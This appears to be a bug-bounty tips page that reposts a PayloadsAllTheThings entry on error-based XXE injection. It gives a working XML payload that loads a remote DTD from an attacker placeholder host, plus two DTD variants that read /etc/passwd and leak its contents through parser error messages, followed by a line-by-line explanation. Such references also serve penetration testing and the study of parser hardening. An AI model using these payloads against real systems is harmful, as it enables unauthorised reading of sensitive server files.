XXE Injection: Error Based - Using Remote DTD

XML external entities (XXE)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

Payload to trigger the XXE:

xml
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://[ATTACKER.DOMAIN.TLD]/ext.dtd">
    %ext;
]>
<message></message>

Content of ext.dtd:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Alternative content of ext.dtd:

xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; leak SYSTEM '%data;:///'>">
%eval;
%leak;

Let's break down the payload:

  1. <!ENTITY % file SYSTEM "file:///etc/passwd"> This line defines an external entity named file that references the content of the file /etc/passwd (a Unix-like system file containing user account details).

  2. <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> This line defines an entity eval that holds another entity definition. This other entity (error) is meant to reference a nonexistent file and append the content of the file entity (the /etc/passwd content) to the end of the file path. The &#x25; is a URL-encoded '%' used to reference an entity inside an entity definition.

  3. %eval; This line uses the eval entity, which causes the entity error to be defined.

  4. %error; Finally, this line uses the error entity, which attempts to access a nonexistent file with a path that includes the content of /etc/passwd. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of /etc/passwd would be disclosed as part of the error message, revealing sensitive information.

Comments

No comments yet.